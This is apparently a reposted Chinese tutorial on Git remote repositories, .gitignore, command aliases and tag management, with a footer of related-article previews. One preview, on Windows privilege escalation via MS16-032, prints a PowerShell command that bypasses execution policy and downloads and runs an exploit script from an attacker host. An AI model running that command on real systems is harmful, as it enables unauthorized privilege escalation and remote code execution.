Git--Part3--远程操作 配置 标签管理


theme: nico

远程仓库

Git 是分布式版本控制系统,同⼀个 Git 仓库,可以分布到不同的机器上。怎么分布呢?

最早,肯定只有⼀台机器有⼀个原始版本库,此后,别的机器可以 “克隆” 这个原始版本库,⽽且每台机器的版本 库其实都是⼀样的,并没有主次之分。

你肯定会想,⾄少需要两台机器才能玩远程库不是?但是我只有⼀台电脑,怎么玩? 其实⼀台电脑上也是可以克隆多个版本库的,只要不在同⼀个⽬录下。

不过,现实⽣活中是不会有⼈在⼀台电脑上搞⼏个远程库玩,因为⼀台电脑上搞⼏个远程库完全没有意义,⽽且硬盘挂了 会导致所有库都挂掉。

实际情况往往是这样,找⼀台电脑充当服务器的⻆⾊,每天24⼩时开机,其他每个⼈都从这个“服务器”仓库克隆⼀份到⾃⼰的电脑上,并且各⾃把各⾃的提交推送到服务器仓库⾥,也从服务器仓库中拉取别⼈的提交。

完全可以⾃⼰搭建⼀台运⾏ Git 的服务器,不过为了学 Git 先搭个服务器绝对是⼩题⼤作。好在这个世界上有个叫 GitHub 的神奇的⽹站,从名字就可以看出,这个⽹站就是提供 Git 仓库托管服务的,所以,只要注册⼀个GitHub账号,就可以免费获得 Git 远程仓库。 Github 是国外的⽹站,速度比较慢,代理加速问题得自己解决。

新建远程仓库

1、在Github上新建项目仓库

image.png
2、填写仓库得基本信息
image.png
3、创建成功如下
image.png

克隆远程仓库

克隆远程仓库就是把刚才在Github上创建得仓库 下载到本地电脑上。克隆仓库使用得命令是git clone命令。
首先需要知道远程仓库得URL。

1、在刚才建好得远程仓库中找到远程仓库得链接,复制下来(复制https下的即可,使用https协议进行拉取,比较方便,ssh协议设计到密钥比麻烦)
image.png
2、在本地电脑进行克隆,使用Git客户端或者终端,输入git clone 复制的url即可拉取。
image.png
这样就将远程仓库拉取到本地了。

向远程仓库推送

本地已经 clone 成功远程仓库后,我们便可以向仓库中提交内容,例如新增⼀个 file.txt ⽂件。向里面写点东西。

image.png
然后向远程仓库进行提交。

image.png

提交时要注意,如果我们之前设置过全局的 name 和 e-mail,这两项配置需要和 Github上配置的⽤⼾名和邮箱⼀致,否则会出错。如果不一样,则需要重新配置。关于用户名和邮箱得配置,在第Git第一篇博客中已经说过了~

查看Github得用户名和邮箱:
点击右上角头像->设置选项
image.png

image.png

这里已经将内容提交⾄本地仓库中,如何将本地仓库的内容推送⾄远程仓库呢,需要使⽤ git push 命令。

  • git push <远程主机名> <本地分⽀名>:<远程分⽀名>
  • 如果本地分⽀名与远程分⽀名相同,则可以省略冒号:git push <远程主机名> <本地分⽀名>

此时我们要将本地的 main 分⽀推送到 origin 主机的 main 分⽀,则可以使用git push origin main进行推送即可。(这里得主分支叫main,和master是一模一样得,只是名字不一样)
image.png

在Git中,“origin”是默认的远程仓库名称。当你克隆一个仓库时,Git会自动将这个远程仓库命名为“origin”。这个名称只是一个别名,用来方便地引用远程仓库的URL。你可以为远程仓库设置其他名称,但“origin”是默认且最常见的。

推送完成后,在Github上就能看到新推送得file.txt文件了。
image.png

拉取远程仓库

当有不同得人像代码仓库中进行推送时,会造成一种现在,就是远程仓库得版本领先于你本地仓库得版本。

比如,这里再Github上修改了README文件,导致远程仓库的版本领先于比本地仓库的版本。
image.png
此时,远程仓库是要领先于本地仓库⼀个版本,为了使本地仓库保持最新的版本,我们需要拉取下远 端代码,并合并到本地。Git 提供了git pull命令,该命令⽤于从远程获取代码并合并本地的版本。格式如下:

  • git pull <远程主机名> <本地分⽀名>:<远程分⽀名>
  • 如果远程分⽀是与当前分⽀合并,则冒号后⾯的部分可以省略。git pull <远程主机名> <远程分⽀名>

使用如下:

image.png
这样,本地仓库就和本地仓库处于同一个版本了~

配置Git

忽略特殊文件

在⽇常开发中,我们有些⽂件不想或者不应该提交到远端,⽐如保存了数据库密码的配置⽂件,那怎么让 Git 知道呢?

在 Git ⼯作区的根⽬录下创建⼀个特殊的 .gitignore ⽂件,然后把要忽略的⽂件名填进去,Git 就会⾃动忽略这些⽂件了。

不需要从头写 .gitignore ⽂件,在创建仓库时我们已经指定了.gitignore文件了。

如果当时创建没有选择这个选择,在⼯作区创建⼀个也是可以的。⽆论哪种⽅式,最终都可以得到⼀个完 整的 .gitignore ⽂件

.开头的文件在操作系统(如Linux和macOS)中被称为“隐藏文件”。这些文件通常包含配置或系统信息,不会在默认情况下显示在目录列表中。这种机制主要用于防止用户意外修改或删除关键的配置文件。

  • 如果是Linux系统,输入ls -al就可以看见了。
  • 如果是windows系统,在资源管理器中要显示隐藏文件才能看见。如下:
    image.png

使用示例:
打开.gitignore文件,如果已经配置如下:

image.png
这就意味着,所有以.d .slo .lo…结尾的文件都不会让Git进行追踪和管理。

如果不想让Git管理txt文件,在.gitignore添加如下配置即可。

image.png

修改完.gitignore文件后,需要把这个文件推送到远程才会生效。

image.png

可以验证一下.gitignore的能力。在工作区修改file.txt。然后使用git status查看仓库状态,如下:

image.png
这时发现,file.txt文件还是被Git追踪了。难道是.gitignore失效了?

在工作区新增一个.txt文件。
image.png
发现新增的这个文件没有被Git追踪。
这是因为 file.txt 已经在仓库中,它将继续被跟踪,除非你明确告诉 Git 停止跟踪它。

停止跟踪已跟踪的文件

使用下面的命令进行停止追踪。
git rm --cached 文件名
然后提交推送即可。

比如停止追踪file.txt
image.png
此时,再次修改file.txt文件,Git就不会进行追踪了~

image.png

如果希望整个仓库都不在追踪file.txt了,那么就推送到远程仓库,直接从远程仓库中删除了,如果只希望在本地仓库停止追踪,就无需push了。

追踪被忽略的文件

有些时候,你就是想添加⼀个文件到 Git,但由于这个⽂件被 .gitignore忽略了,根本添加不了,那么可以⽤ -f 选项强制添加。
比如,在.gitignore中已经忽略了所有的txt文件。但是此时就是想添加一个file.txt到远程仓库中,这时就可以使用-f选项了。
git add -f 文件名

image.png

给命令配置别名

在我们使⽤ Git 期间,有些命令太⻓了。Git⽀持对命令进⾏简化!
比如将最常用的git status 简化为git st
使用下面命令即可:
git config --global alias.st status
–global 参数是全局参数,也就是这些命令在这台电脑的所有Git仓库下都有⽤。如果不加,那只针对当前的仓库起作⽤。

在alias.后面加上别名即可。
现在 git st就生效了。

image.png
在比如配置一下git log,让只显示最后一次提交信息即可。
原本的命令是:git log -1。配置后git last
使用下面的命令进行配置。
git config --global alias.last 'log -1'
配置完后的效果:

image.png

标签管理

标签 tag ,可以简单的理解为是对某次 commit 的⼀个标识,相当于起了⼀个别名。例如,在项⽬ 发布某个版本的时候,针对最后⼀次 commit 起⼀个 v1.0 这样的标签来标识里程碑的意义。

这相较于难以记住的 commit idtag 很好的解决这个问题,因为 tag ⼀定要给⼀个让⼈容易记住,且有意义的名字。当我们需要回退到某个重要版本时,直接使⽤标签就能很快定位到。

创建标签

在Git中打标签⾮常简单,⾸先,切换到需要打标签的分⽀上。然后,输入命令 git tag [name] 就可以打⼀个新标签。

image.png
使用git tag 就能查看所有的标签了。

image.png
默认标签是打在最新提交的 commit 上的。Git也支持在指定的commit上打标签。

比如下面给指定的commit打标签。
1、首先,找到历史的commit
git log --pretty=oneline --abbrev-commit

image.png
2、对Ininial commit这次提交打标签
image.png

标签不是按时间顺序列出,⽽是按字⺟排序的

可以⽤ git show [tagname] 查看标签信息。

image.png

Git 还提供可以创建带有说明的标签,⽤-a指定标签名,-m指定说明⽂字,格式为:
git tag -a [name] -m "XXX" [commit_id]

image.png

删除标签

如果标签打错了,也可以进行删除。
删除标签对应的命令为git tag -d [tag]
image.png

因为创建的标签都只存储在本地,不会⾃动推送到远程。所以,打错的标签可以在本地安全删除。 如果要推送某个标签到远程,在push的时候要加对应的参数。
git push origin [tagnema]

比如推送V1.1标签。
image.png
推送完后,在Github上就能看到新推送上去的标签了。

image.png

image.png
如果本地有多个标签,也可以一次性全部推送到远端。
git push origin --tags即可。

image.png
远端就可以查看了

image.png

如果标签已经推送到远程,要删除远程标签的话,需要从从本地删除,然后从远程删除。

比如删除远程标签V0.0。

1、先从本地删除V0.0标签。

image.png
2、使用git push 从远程删除。格式如下:
git push origin :refs/tags/v0.0

image.png
此时,远程仓库中的V0.0版本就成功删除了。

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/28956.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI导航网

文章目录 1、[AI导航网](https://www.ainav.cn/) 1、AI导航网 https://www.ainav.cn/

苍穹外卖笔记-18-修改密码、bug记录

文章目录 1 修改密码1.1 需求分析和设计1.2 代码实现1.2.1 admin/EmployeeController1.2.2 EmployeeService1.2.3 EmployeeServiceImpl 1.3 功能测试 2 bug记录 1 修改密码 完结的时候发现还有一个接口未实现。这里补充 1.1 需求分析和设计 产品原型&#xff1a; 业务规则&am…

CMake从安装到精通

目录 引言 1. CMake的安装 2. CMake的原理 3. CMake入门 3.1 CMakeLists.txt与注释 3.2 版本指定与工程描述 3.3 生成可执行程序 3.4 定义变量与指定输出路径 3.5 指定C标准 3.6 搜索文件 3.7 包含头文件 4. CMake进阶 4.1 生成动静态库 4.2 链接动静态库 4.…

CTFshow之RCE代码命令远程执行第49关详细讲解。可私信!

棺材里伸手&#xff0c;死要钱&#xff01; --古吉拉特邦 莫迪大仙 引言&#xff1a;由于有些题目实在是让人抓挠&#xff0c;我看完题解后难以接受知识机械的执行获取flag&#xff0c;所以我想着尽可能用我的语言去进行解释&#xff01; 由于是验证猜想实验&#xff0c;所以…

代发考生战报:HCIP H12-725安全变题了

代发考生战报&#xff1a;HCIP H12-725安全变题了&#xff0c;幸好当天找客服办理的包过服务&#xff0c;听同考场的考生说&#xff0c;考试全是新题&#xff0c;只有1-2个是题库上的题&#xff0c;自己考的都考挂了&#xff0c;帮我答题的老师很厉害&#xff0c;很赞&#xff…

GenICam标准(二)

系列文章目录 GenICam标准&#xff08;一&#xff09; GenICam标准&#xff08;二&#xff09; GenICam标准&#xff08;三&#xff09; GenICam标准&#xff08;四&#xff09; GenICam标准&#xff08;五&#xff09; GenICam标准&#xff08;六&#xff09; 文章目录 系列文…

RAG与Langchain简介

RAG与Langchain简介 什么是RAGRAG解决的问题RAG工作流程RAG调优策略LangChain简介 什么是RAG 检索增强生成&#xff08;Retrieval-Augmented Generation&#xff09;&#xff0c;主要是通过从外部给大模型补充一些知识&#xff0c;相当于给模型外挂了一个知识库&#xff0c;让…

单片机(STM32)与上位机传输浮点数

目录 单片机(STM32)与上位机传输数据的方法1. 传输整形数据2. 传输浮点数据3. 如何打包与解包 单片机(STM32)与上位机传输数据的方法 在进行单片机程序的开发时&#xff0c;常常需要与其他设备进行通信。一种情况是与其他电路板通信&#xff0c;比如STM32主机与STM32从机通信&…

胡说八道(24.6.9)——离散时间系统及simulink仿真

上回说道拉普拉斯变换的定义、性质以及在电路分析中的应用。今天先来谈谈simulink仿真&#xff0c;可为是让我非常的震惊&#xff0c;今天做了三种模型的应用。第一个是simulink中有限状态机的应用&#xff0c;用来解决一些复杂的逻辑问题&#xff0c;实现状态之间的转换。第一…

Pytorch深度解析:Transformer嵌入层源码逐行解读

前言 本部分博客需要先阅读博客&#xff1a; 《Transformer实现以及Pytorch源码解读&#xff08;一&#xff09;-数据输入篇》 作为知识储备。 Embedding使用方式 如下面的代码中所示&#xff0c;embedding一般是先实例化nn.Embedding(vocab_size, embedding_dim)。实例化的…

双绞线(网线)的制作与测试

实验目的 1、熟悉常用双绞线&#xff08;网线&#xff09;及其制作工具的使用&#xff1b; 2、掌握非屏蔽双绞线的直通线、交叉线的制作及连接方法&#xff1b; 3、掌握双绞线连通性的测试。 设备要求&#xff1a;RJ45压线钳&#xff0c;RJ45水晶头&#xff0c;UTP线缆&…

小白 | windows提权

1.CVE-2016-0099 (MS16-032) 这是一个Windows内核特权提升漏洞&#xff0c;利用该漏洞可以获得系统权限。 # 使用公开的POC进行利用&#xff0c;如 powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString(http://<attacker_ip>/Invoke-MS16-032.ps1)…

LSTM模型预测时间序列

长短期记忆模型(Long Short-Term Memory, LSTM)&#xff0c;是一种特殊的循环神经网络&#xff0c;能够学习长期依赖性。长短期记忆模型在各种各样的问题上表现非常出色&#xff0c;现在被广泛使用&#xff0c;例如&#xff0c;文本生成、机器翻译、语音识别、时序数据预测、生…

经典老款双运放NE5532

1 产品特点 等效输入噪声电压&#xff1a; 5nV H z \sqrt[]{ Hz} Hz ​&#xff08;典型值&#xff0c;1 kHz&#xff09; 单位增益带宽&#xff1a;10 MHz &#xff08;典型值&#xff09; 共模抑制比&#xff1a;100 dB &#xff08;典型值&#xff09; 高直流电压增益&…

【Python高级编程】Pickle实现AI算法训练的权重数据的保存

任务描述 代码实现 import pickle import time import os import numpy as np# 模拟耗时的权重计算过程 def calculate_weights():print("开始计算权重...")time.sleep(5) # 模拟耗时操作&#xff0c;暂停5秒以模拟计算过程weights np.random.rand(10, 10) # 随机…

AI产品经理,应掌握哪些技术?

美国的麻省理工学院&#xff08;Massachusetts Institute of Technology&#xff09;专门负责科技成果转化商用的部门研究表明&#xff1a; 每一块钱的科研投入&#xff0c;需要100块钱与之配套的投资&#xff08;人、财、物&#xff09;&#xff0c;才能把思想转化为产品&…

flutter开发实战-创建一个微光加载效果

flutter开发实战-创建一个微光加载效果 当加载数据的时候&#xff0c;loading是必不可少的。从用户体验&#xff08;UX&#xff09;的角度来看&#xff0c;最重要的是向用户展示加载正在进行。向用户传达数据正在加载的一种流行方法是在与正在加载的内容类型近似的形状上显示带…

货代小白快来收藏‼️普货与非普货的区别

普货是指不属于以下类别的普通货物 危险品 冷冻/冷藏品 违禁品 仿牌货 敏感货 危险品 危险品具体分为九类&#xff1a; 爆炸品 压缩气体 易燃液体 易燃固体、易燃物品和遇湿易燃物品 氧化剂和有机氧化物 有毒和感染性物品 放射性 腐蚀性 杂类 冷冻/冷藏品 主要是指以食品为主的…

简述spock以及使用

1. 介绍 1.1 Spock是什么&#xff1f; Spock是一款国外优秀的测试框架&#xff0c;基于BDD&#xff08;行为驱动开发&#xff09;思想实现&#xff0c;功能非常强大。Spock结合Groovy动态语言的特点&#xff0c;提供了各种标签&#xff0c;并采用简单、通用、结构化的描述语言…

php配合fiddler批量下载淘宝天猫商品数据分享

有个做电商的朋友问我,每次上款,需要手动去某宝去搬运商品图片视频,问我能不能帮忙写个脚本,朋友开口了,那就尝试一下 首先打开某宝,访问一款商品,找出他的数据来源 通过观察我们发现主图数据来这个接口输出 h5api.m.taobao.com/h5/mtop.taobao.pcdetail.data.get/1.0 …